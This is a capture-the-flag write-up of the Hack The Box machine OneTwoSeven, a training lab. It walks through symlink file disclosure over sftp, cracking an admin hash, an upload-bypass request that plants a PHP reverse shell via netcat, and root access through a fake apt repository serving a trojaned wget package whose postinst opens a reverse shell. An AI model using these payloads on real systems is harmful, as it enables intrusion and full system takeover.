HTB - OneTwoSeven
This post is a write-up for the OneTwoSeven box on hackthebox.eu
Enumeration
Start by enumerating the ports on the victim machine. Run Masscan
and Nmap
, then document the results:
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.133 --max-rate=500
nmap -n -v -Pn -p80 -A --reason -oN onetwoseven_nmap.txt 10.10.10.133
Browse to the website, click on sign-up, and it looks like we are able to connect via sftp:
Once connected, find the public_html folder with read and write permissions. The contents of this folder are published under http://onetwoseven.htb/~ots-XXXXXXXX/
. Trying to upload php webshells however yields no results, as you are not allowed to view any files with the .php extension in this folder. Read through the sftp “help” and notice that there is a symlink command available to use. Try to symlink a known file:
sftp> symlink /etc/passwd passwd
When calling “http://onetwoseven.htb/~ots-XXXXXXXX/passwd", you can get the contents of the file displayed:
ots-yODc2NGQ❌999:999:127.0.0.1:/home/web/ots-yODc2NGQ:/bin/false
ots-XXXXXXXX❌1009:1002:10.10.xx.xx:/home/web/ots-XXXXXXXX:/bin/false
Because the web page is written in .php, you can abuse this feature to link the .php files to .html. This should reveal their source code! Since you dont know their directory, just symlink the whole /var/www
folder and view the results:
sftp> symlink /var/www www
Download the .login.php.swp
file and look at its contents:
...
if ($_POST['username'] == 'ots-admin' && hash('sha256',$_POST['password']) == '11c5a42c9d74d5442ef3cc835bda1b3e7cc7f494e704a10d0de426b2fbe5cbd8') { if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) { $msg = ''; <?php <h2 class="featurette-heading">Login to the kingdom.
...
Looks like a login page with a username and hash. Profit! Crack the hash with John
:
john --format=Raw-SHA256 --wordlist=/usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou.txt --rules hash.txt
John finds the password Homesweethome1
. Looking at the original page again, notice there is a link in the source: "http://onetwoseven.htb:60080/"
.
After logging in over ssh fails with the credentials (because there is no login shell for the user), I realized that I could still use SSH to forward ports. This should allow you to connect to the port listening on localhost. Use dynamic port forwarding and set a socks upstream proxy in Burp Suite:
ssh -D 9090 -N ots-XXXXXXXX@10.10.10.133
Browse to http://localhost:60080
with Burp Suite Intercept Proxy enabled and get to the login page:
Log into the application with ots-admin:Homesweethome1
. Looks like you can run several plugins and a seemingly broken upload form. Every plugin also has a link to download its source. Investigate all the plugins and you should find some useful code in ots-man-addon.php
:
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /login.php"); }; if ( strpos($_SERVER['REQUEST_URI'], '/addons/') !== false ) { die(); };
# OneTwoSeven Admin Plugin
# OTS Addon Manager
switch (true) {
# Upload addon to addons folder.
case preg_match('/\/addon-upload.php/',$_SERVER['REQUEST_URI']):
if(isset($_FILES['addon'])){
$errors= array();
$file_name = basename($_FILES['addon']['name']);
$file_size =$_FILES['addon']['size'];
$file_tmp =$_FILES['addon']['tmp_name'];
if($file_size > 20000){
$errors[]='Module too big for addon manager. Please upload manually.';
}
if(empty($errors)==true) {
move_uploaded_file($file_tmp,$file_name);
header("Location: /menu.php");
header("Content-Type: text/plain");
echo "File uploaded successfull.y";
} else {
header("Location: /menu.php");
header("Content-Type: text/plain");
echo "Error uploading the file: ";
print_r($errors);
}
}
break;
...
This should allow you to upload files, just have to figure out how to call this.
Several items are required to upload a file:
- You must be logged in
- You have to call
ots-man-addon.php
/addons/
must not be part of the request pathaddon-upload.php
must be part of the request path- a file called addon must be in the post body
The following request uploads a custom plugin, and when executed via the browser pops a shell:
POST /addon-download.php?addon=addons/ots-man-addon.php&abc123=/addon-upload.php HTTP/1.1
Host: 127.0.0.1:60080
User-Agent: curl/7.64.0
Accept: */*
Cookie: PHPSESSID=ra85breae1b57tdnmkl4it6go2
Content-Length: 499
Content-Type: multipart/form-data; boundary=------------------------8c1bb633500ccc52
Connection: close
--------------------------8c1bb633500ccc52
Content-Disposition: form-data; name="addon"; filename="/var/www/html/html-admin/addons/ots-abc123.php"
Content-Type: application/octet-stream
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /login.php"); }; if ( strpos($_SERVER['REQUEST_URI'], '/addons/') !== false ) { die(); };
# OneTwoSeven Admin Plugin
# OTS ABC123
echo shell_exec("nc 10.10.16.66 443 -e /bin/sh");
?>
--------------------------8c1bb633500ccc52
Unfortunately, there is still no user flag, so continue by trying to root the victim machine. Running sudo -l
results in the following:
This is an interesting find, run sudo apt-get update
and notice the mirrors apt tries to resolve:
So the victim machine is trying pull updates from a custom fqdn packages.onetwoseven.htb
. You should be able to trick the victim machine into connecting to a fake repository which contains a fake package, allowing you to get code execution as root. You can redirect the requests from apt-get to your attacking machine simple by specifying a http-proxy
:
export http_proxy='http://10.10.xx.xx:10000'
Setup a fake repo named devuan (because this is the folder the request expects). Use repro
to create the repo:
sudo apt-get install reprepro
mkdir devuan
mkdir devuan/conf
touch devuan/conf/distributions
nano devuan/conf/distributions
File distributions
:
Origin: packages.onetwoseven.htb
Label: packages.onetwoseven.htb
Codename: ascii
Architectures: i386 amd64 source
Components: main
Description: abc123
Create a fake debian package that will perform code execution. Verasprite has a nice guide that explains the process in detail. Look at the victim machine, and pick any of the packages that are installed:
Download the current version of the package and extract it:
wget http://ftp.debian.org/debian/pool/main/w/wget/wget_1.18-5+deb9u3_amd64.deb
dpkg-deb -R wget_1.18-5+deb9u3_amd64.deb wget_out
To perform code execution, add a simple post install script that connects back to your attacking machine in wget_out/DEBIAN/postinst
:
nc 10.10.16.66 80 -e /bin/sh
Edit wget_out/DEBIAN/control
and update the version to something newer, in this case 1.18-6+deb9u3
:
Package up your .deb and add it to the repository:
Now you have to redirect apt requests to your attacking machine. Setup Burp Suite to listen on 10.10.16.66:10000
and use the redirect traffic proxy listener option to send all traffic to 127.0.0.1:8000
, where you have a python web server running that serves your evil repo.
Trigger the exploit:
sudo apt-get update
sudo apt-get upgrade
On ugrade you should get a verification warning (because your package is not authenticated, obviously) which you can just happily accept the warning. Who actually reads the warnings anyway? After the install is finished it should pop a root shell:
Since I didn't waste time trying to find a user flag, in the root shell just run cat /srv/chroot/apache/home/web/ots-yODc2NGQ/user.txt
.